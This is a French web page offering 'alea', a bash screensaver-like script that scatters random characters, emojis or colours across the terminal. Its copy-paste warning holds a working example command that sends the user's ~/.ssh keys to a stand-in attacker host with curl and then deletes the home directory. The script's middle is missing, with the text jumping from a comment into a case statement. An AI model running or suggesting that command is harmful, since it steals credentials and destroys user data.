Script: alea

← Scripts & fichiers

⚠️ Évitez de copier/coller le code ci-dessous.

👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World

Mieux vaut télécharger le script au format texte brut en cliquant ici

#! /usr/bin/env bash
#
# alea
#
# Release: 1.0 of 2026/03/27
# 2026, Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU  General Public License
# along with this program.  If not, see .

set -euo pipefail

speed=".001"
ultra=false
emo=false; emo_generated=false
alea=false; alea_generated=false
color=false
unfix=false
selected_color=''
char='#'
cols=$(tput cols)
lines=$(tput lines)

# convert unicode point (\U0001F???) to UTF-8 hexa
# for s in $'\U0001F000' $'\U0001FFFF'
# python3 - < ' char ;;
			*) alea=false; emo=false; char="$dummy" ;;
		esac
	fi
}

while [ -n "${1-}" ]; do # parameters
	case "$1" in
		"debug")  set -x ;;
		"slow")   speed=".1" ;;
		"medium") speed=".01" ;;
		"fast")   speed=".00001" ;;
		"ultra")  ultra=true ;;
		"emo")    gen_emo_tab; emo=true; ;;
		"alea")   gen_alea_tab; alea=true; ;;
		"color")  color=true ;;
		"unfix")  unfix=true ;;
		"plain")  char='█' ;;
		*)        char="$1" ;;
	esac
	shift
done

trap cursor_back EXIT INT TERM QUIT
trap stop INT

printf "\e[2J\e[?25l" # clear screen & hide cursor

while true; do
	if $emo; then
		l=2 # emoji use 2 chars space
		char=${emoji[ $(( RANDOM % 517 )) ]}
	else
		[[ "$char" == *$emoji_1f* ]] && l=2 || l=${#char}
		$alea && char=${char_tab[ $(( RANDOM % 61 )) ]}
		if $color
			then selected_color="\e[38;2;$(( RANDOM % 256 ));$(( RANDOM % 256 ));$(( RANDOM % 256 ))m"
			else selected_color=''; printf '\e[0m\e[1m'
		fi
	fi
	if $unfix
		then x=$(( RANDOM % (cols - l) ))
		else x=$(( RANDOM % (cols - l) / l * l ))
	fi
	y=$(( RANDOM % lines ))
	move "$x" "$y"
	printf "%b" "$selected_color$char"
	$ultra || timer
done

exit 0